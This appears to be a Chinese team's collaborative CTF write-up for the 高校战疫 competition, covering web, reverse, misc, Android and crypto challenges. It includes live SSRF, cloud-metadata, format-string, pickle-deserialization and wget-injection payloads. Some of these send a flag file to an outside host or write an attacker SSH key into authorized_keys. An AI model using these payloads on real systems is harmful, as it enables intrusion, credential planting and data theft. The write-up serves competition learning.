--- tags: ctf --- # 高校战疫CTF :::success **URL**: http://gxzy.xctf.org.cn **Start Time**: 3月7日9:00 **End Time**: 3月9日9:00 ::: --- [TOC] --- ## 签到 | Working: ## Web ### fmkq | Done: flight 可以令head为'\\'来绕过head的限制执行curl语句。 _______________⬆️指“全局变量” 将begin覆盖为:begin=%s%可以直接输出结果 主机在华为云,可以查询元数据,快点搞 <details> 怎么来的emm。。。 - 华为云元数据啊,不过好像不是预期解,我现在connect reset了,我导入公钥之后还是不能登录,艹我弄反了,但是元数据好像没什么可用的了 继续找吧,有点迷 只有公钥肯定登陆不了啊 你本地还缺个私钥 服务器拿公钥给你发个challenge,你得本地拿私钥解开才让你连啊 emmmm那为啥他光明正大地写个id_gxzy_to巨佬 (躺 草 大草原 为什么能想到华为云元数据((((((嘤 - 因为我是出题人,他们vps是在华为云上的(逃 恰饭(物理)去力 。。我觉得这不是预期,要是这能打下来,那不是ak了 http://121.37.179.47:1101/?head=\\&url=http://169.254.169.254/openstack/latest/meta_data.json&begin=%s% 公钥: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDDs2AWxYQy7o/oukGvm1waoz28bu5vD1LPGr5Rq7Ma6fyi3nEwZ+wBJBwnATXW20vPLkQ3SdUtBduoJXkJySvkTMi6JlEKJsSPbXlu5KQRNPXnZf3PuMMP6jcw7hdhKg/lzfy0jOMnyNIJhOWn3Z1eFE3WNy37LF0+A134Vp66JbZKSeK7agqr4YAf2mscjO28a6uqUwjj17+VL8JJr4jNbbHAj7zJIvk4FVrlwtR5TePFP6eWXblbMEu3vHbzRICG08YPlvY4r+9vxDgu3f02x1RaX2ldvBCAPFkDFA3E2H6jNEUuuzAfTvFjrtGeN6LFswlBEMn52VkcCvZNJ+n Generated-by-Nova 为啥公钥登录还要密码啊。。。。头大 <a></a> 公钥本来就不能登录吧 我突然觉得hackmd的这个解析markdown可能有洞((( </details> 8080端口,fmkq api ![](http://md.frankli.site/uploads/upload_95d5c410c5efa81e3c15d2fcfc874329.png) 哪来的vip 8080后面是个cherrypy 其实后面的path是个python的格式化字符串,而且是一个递归的格式化字符串,如果可以在中间插入../绕过过滤的话,就可以读取任意文件了 `http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={file!r}..%2Fetc%2Fpasswd%26vipcode=0&begin=%s%` 这样可以逃出来../但是python不能跨一个不存在的目录。。。而且如果出现了../文件内容也会被替换掉,所以得找个方法在format的时候可以转换一下字符串 ...我佛了 ![](http://md.frankli.site/uploads/upload_291775a61e9c04e9c3299e3abd4922bf.png) ![](http://md.frankli.site/uploads/upload_4eb4650943f421016342c71723c615bf.png) 艹 `http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=OfvRp720bDLxI4nk8TtWZJSo3MFd6iw9lcCg5KNE1zePVUsa&begin=%s%` 读/etc/passwd 我真是艹了,坑是真的多,读不了flag /fl4g_1s_h3re_u_wi11_rua can't read `/app/base/readfile.py` 读readfile ~~bzd为什么他这个过滤好像没起作用?<- 但是好像也读不了啊,根目录的文件好像都不能读~~ 能鸭 那些是目录 奥!!!那个fl4g_1s_h3re_u_wi11_rua是个目录不是文件 ~~可以这么绕,前面的globals里面不是有current_file吗,那是个列表,从那个列表里面取值就行了,就不会出现fl4g <- 不知道为什么current_file会变,很奇怪,不过应该是可以的~~ <- 好像并8太行 `3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w` payload: `http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0&begin=%s%` `{vipfile:.2}4g_1s_h3re_u_wi11_rua/flag` 这样可以绕,但是为什么远程就internal server error<-这个我试过,不能用file: 可以file={vipfile}_1s_h3re_u_wi11_rua/fl4g,但是差一个字母 最后的payload: `http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%` ### hackme | DONE:Von www.zip 备份文件泄漏 session的序列化引擎不一致,session反序列化触发__destruct变成admin 思路:利用session反序列化绕过管理员限制 构造反序列化后可以得到源码 ``` php <?php require_once('./init.php'); error_reporting(0); if (check_session($_SESSION)) { #hint : core/clear.php $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; } } else { highlight_file(__FILE__); } } else { die('只有管理员才能看到我哟'); } ``` 正则部分可用: ``` compress.zlib://data:@127.0.0.1/127.0.0.1?,ls ``` strlen()限制参考:https://mengsec.com/2018/10/31/HITCON-2017-babyfirst-revenge-v1-v2/ ### babyjava | So Stuck: flight https://paste.ubuntu.com/p/r3wn3c2d4B/ 有fastjson 48的话应该是有反序列化的地方的,但是不知道路径 <- 艹,路径就是/you_never_know_the_path,把content-type换成application-json就可以fastsjon反序列化打了 Java1.8.0_191 java版本在这里,还是整个同版本的构造吧 ![](http://md.frankli.site/uploads/upload_def49d2eedca8048adf1c26c7b4543f5.png) ~~谁有jdk1.8.0_191的环境,md找不到在哪下jdk~~ 我傻了,居然不能用@type,去吃饭了,佛了 org.apache.commons.configuration2.JNDIConfiguration的prefix可以触发JNDI,然后ldap接一个反序列化可以命令执行,但是过滤了\u,prefix,type这些关键字,没什么思路了,等会再看吧 后端没有用parseObject解析,如果用了parse的话不会调用getter,导致上面的链无法触发,得再找一个纯setter触发的JNDI? ### dooog | Working: konge w1nd pad/unpad没校验,iv还是裸着的 cbc oracle padding 去 kdc 拿到cmd server的master key 然后直接对着cmdserver冲就行了 (好麻烦啊 ### webtmp | Done: konge w1nd Reclu3e(下线了) pickle反序列化 思路:覆盖掉secret.name和secret.category就行 --> 要手写pickle,晚点再做 - https://xz.aliyun.com/t/7012 - https://github.com/eddieivan01/pker - 带R的都不能用 - ![](http://md.frankli.site/uploads/upload_d053705dbf581cfa04b867c120de2b3f.png) 不会做,下线了XD <- 额,我其实收藏了,你们康康(群里pdf) - ![](http://md.frankli.site/uploads/upload_0a7a67a444291e6f0a15c30249bc56b1.png) - 这个好像就可以 ```python poc = (b'\x80\x03' b'c__main__\nsecret\n' b'}' b'(' b'Vname\n' b'Vqaq\n' b'Vcategory\n' b'Vwww\n' b'u' b'b' b'0' b'c__main__\nAnimal\n' b')' b'\x81' b'}' b'(' b'X\x04\x00\x00\x00name' b'X\x03\x00\x00\x00qaq' b'X\x08\x00\x00\x00category' b'X\x03\x00\x00\x00www' b'u' b'b' b'.') ``` (体力活干完了 ### happyvacation ### easy_trick_gzmtu 注入点 ?time=2020'^0%23 这过滤很奇怪啊,还是说不是mysql ### sqlcheckin | DONE 几乎原题:https://gksec.com/HNCTF2019-Final.html ## Reverse ### clock | Working: https://www.anquanke.com/post/id/181811 ### 天津垓 | DONE: 武师傅 ### cycle graph | DONE: Frank 入口点 sub_401080 cyclegraph.idb: https://filebin.net/x2rzng344s2o6taf 把dword_403380按照三个为一组的顺序建立一个奇怪的图结构,应当是个[3][31]的数组 ```python In [65]: cnt = 0 ...: for i in range(31): ...: def check(x): ...: global cnt ...: if cnt % 3 == 0: ...: print(cnt//3, ':', x) ...: elif cnt %3 == 1: ...: print('jump1:', x//3) ...: else: ...: print('jump2:', x//3) ...: cnt += 1 ...: ...: check(dword_402178[i]) ...: check(3*dword_402274[i+1]) ...: check(3*dword_4021F4[i+1]) ...: ``` ![](http://md.frankli.site/uploads/upload_a50d88e85919642584a342179333dc13.png) ![](http://md.frankli.site/uploads/upload_ac4296c9649a5d2c2fc921f0ae3fc5e3.png) 可见最终要跳到内存上的图的最后面 ![](http://md.frankli.site/uploads/upload_7a22681bda0cdf4ea7ed1114903da87a.png) 对于每个节点: [0]控制怎么跳(用[1]跳还是[2]跳) [1], [2]控制跳到哪 按照给出的数据连个图,搜一下就行 (要我出这题的话我绝对不会给整唯一通路,我必整好几条通路,然后选次短路(逃 被个细节坑了 ``` 0 [52, 2, 1] 2 [44, 1, 7] 7 [42, 13, 23] 13 [50, 1, 24] 24 [50, 16, 7] 16 [1, 5, 25] 5 [42, 2, 19] 19 [2, 12, 3] 3 [42, 18, 23] 18 [43, 28, 26] 26 [45, 30, 20] 30 [51, 22, 11] 11 [50, 21, 29] 21 [1, 15, 6] 6 [47, 26, 31] ``` ### easyparser | DONE:fa1con 基本是调试出来的,case17是输入,输入完毕后好像是启动了个新线程,跑到case6将数据读入,qword_6C09B8里有比较的数据,调试发现(flag^ 0x63) << (2 & 0x3f),然后进行比较 ```python cmp = [ 0x90, 0x14c, 0x1c, 0xf0, 0x84, 0x3c, 0x18, 0x40, 0x40, 0xf0, 0xd0, 0x58, 0x2c, 0x8, 0x34, 0xf0, 0x114, 0xf0, 0x80, 0x2c, 0x28, 0x34, 0x8, 0xf0, 0x90, 0x44, 0x30, 0x50, 0x5c, 0x2c, 0x108,0xf0] print(len(cmp)) str = "" for k in range(len(cmp)): for i in range(0,128): num = (i ^ 0x63) << (2 & 0x3f) if num == cmp[k]: str += chr(i) break print("flag{" + str + "}") ``` flag{G0d_Bless_Wuhan_&_China_Growth!_} ### Rubik | Working 盲猜每次给出一个魔方初始状态给出一个解即可 可以本地hook出每组的答案,例如 > 能不能hoo指定初始状态? ``` case: 0x35032d6046e15022ab UUUFFFFFFUUUFFFUUUFFFRRRFFFRRRUUURRRRRRRRRFFFRRRUUUFFFUUUUUUUUUFFFUUUUUURRRRRRUUUUUURRRFFFFFFRRRUUUFFFUUU (ans) ``` URF三个函数,应该可以根据状态正向暴搜 ### fxck! | Done: Frank nen9mA0 idb: https://filebin.net/kv5w2wi9y99ovlrl 原程序等价代码:https://paste.ubuntu.com/p/wNgCYHnjh9/ 大致流程:flag->preprocess->check 在`preprocess(char *flag, int len, char *processed)`中: flag每一位只影响三位processed值,也就是说只要有了processed就可以求出flag ![](http://md.frankli.site/uploads/upload_aa6eaeeb242ae091d67b0413eb46b382.png) 上面的res可认为是定值 在`check(const char *processed)`中: op代表这个FSM的转移方式 len(op) == 625 len([221, 253] in op) == 68 check函数中构造的 ![](http://md.frankli.site/uploads/upload_149ea67fea977b691a2a0ac70b4b9199.png) jump_table指定了v5的转移方式 ![](http://md.frankli.site/uploads/upload_1b0af1fff04fe41eeef55ea1913bc37f.png) 所以jump_table的值与dword_20810的值无关 (有点像无向图的连图 ~~可以差分~~ ```text op[196] processed[cur]++, rev(res[cur]--) op[197] processed[cur]--, rev(res[cur]++) op[168] cur++, rev(cur--) op[169] cur--, rev(cur++) op[221] if(!processed[cur])jump(jump_table[cur]) op[253] jump(jump_table[cur]-1) op[1] assert(processed[cur]==res[i++]) ``` ![](http://md.frankli.site/uploads/upload_546f643def75f81d302ac226423e3b86.png) wdnmd,听到了没,wdnmd 写下面的函数的逆函数即可 https://paste.ubuntu.com/p/Xsv3ZvVqgm/ or https://paste.ubuntu.com/p/5yJgWZszbt/ 4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe 正解 https://paste.ubuntu.com/p/HzGNwQ232s/ ====还是洗澡的时候适合想问题(逃)==== 爆破: ~~试图爆破无果~~ 正向爆破也是可行的,只是字符集里头忘了加`-`所以没爆出来 > wtm...... https://paste.ubuntu.com/p/RDZZh54yxD/ ![](http://md.frankli.site/uploads/upload_114e1446171b9ae597c4807cb87755bb.png) ## Misc ### 武汉加油 | STUCK: 扔进binwalk发现有一个flag.exe,DIE一下有加壳,放弃逆向 怀疑是侧信道攻击。做不了做不了溜了溜了( ### 隐藏的信息 | DONE:luoqi@n/Ga1@xy 二维码补全之后得到一个假flag,图片扔进winhex发现一行''usebase64''和''togetyourflag'' 将分析音频得到的结果b64即可。 音频加密方式:DTMF http://onlinetonegenerator.com/dtmf.html ### ez_mem&usb | DONE : 冰皇 Pcap导出HTTP对象,解压进入vmem。 用对profile,vol去filescan,grep "flag",down进入img。 binwalk可以跑一下(没有必要再调vol),找到zip文件,(可能要修一下)。 发现压缩包加密,返回vol中运行cmdscan,发现有passwd字样,猜测为解压密码。 提取USBdata.txt处理之,参考keyboard scan code表(https://www.shsu.edu/csc_tjm/fall2000/cs272/scan_codes.html) 贴一下脚本: https://paste.ubuntu.com/p/pvYBpdY6Y3/ ## Android ### GetFlag | DONE: Frank ![](https://i.imgur.com/hGMDzlw.png) ``` VGhlJTIwSVAlMjBvZiUyMHRoZSUyMHJlbW90ZSUyMHBob25lJTIwaXMlMjAyMTIuNjQuNjYuMTc3 ``` 启动以后会监听8080端口,每次接受一个json字符串,以一个随机数.toString()为nonce对"message" 进行 hmacsha1 hash,和check比对后输出 我还以为那串base64是hash出来的 ``` ➜ assets cat secret.txt | base64 -D The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177% ➜ assets ping 212.64.66.177 PING 212.64.66.177 (212.64.66.177): 56 data bytes 64 bytes from 212.64.66.177: icmp_seq=0 ttl=48 time=82.547 ms 64 bytes from 212.64.66.177: icmp_seq=1 ttl=48 time=34.481 ms ^C --- 212.64.66.177 ping statistics --- 2 packets transmitted, 2 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 34.481/58.514/82.547/24.033 ms ➜ assets curl 212.64.66.177:8080 46502 ``` remote apk上跑了一个`MainActivity$ServerSocket_thread`类 ![](https://i.imgur.com/H14KTMO.png) ![](https://i.imgur.com/WYRxyia.png) 这个key是每次连上去以后才下发的 人家给了个wget,也就是说要拼接一下 ```python from pwn import remote def make_digest(message, key): key = bytes(key, 'UTF-8') message = bytes(message, 'UTF-8') digester = hmac.new(key, message, hashlib.sha1) return digester.hexdigest() def execute(cmd): # getRuntime().exec("wget "+cmd); payload = {'message': cmd} x = remote('212.64.66.177', 8080) payload['check'] = make_digest(payload['message'], str(int(x.recv().decode()))) x.sendline(json.dumps(payload)) x.close() ``` 用了几个办法,都是本地AC,提交RE * `--execute output_document=/root/.ssh/authorized_keys http://vps.frankli.site:1234/id_rsa.pub` * `--post-file flag http://vps.frankli.site:1345/` * `--execute base=http://vps.frankli.site:1234/ -i flag` ~~上述最后一种办法是可以读文件的,但是不知道flag的路径~~ 比如可以读/default.prop 以上几个payload都能读 `/data/data/com.xuanxuan.getflag/files/flag` `execute('--post-file /data/data/com.xuanxuan.getflag/files/flag http://bin.frankli.site/g5bvokl2')` `flag{this_wget_is_from_termux_and_I_move_some_dynamic_lib_to_systemlib_to_run_it}` ## crypto ### lancet | Working rsa lsb 泄露,但这个输入太坑了 ### NHP | Working [论文](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/rohnp-return-of-the-hidden-number-problem.pdf) ## pwn ### easyheap | DONE ### woodenbox | DONE house of Roman ## 区块链 ### OwnerMoney | Working :冰皇 在 ethervm.io/decompile 中反编译合约地址字节码: ![](https://k1ng0fic3.github.io/images/zyctf1.png) 脑子可能锈住了…还没看出来洞 ![](https://k1ng0fic3.github.io/images/zyctf2.png) 最近几次交易(能看到的)都是调用的transfer(),迷惑…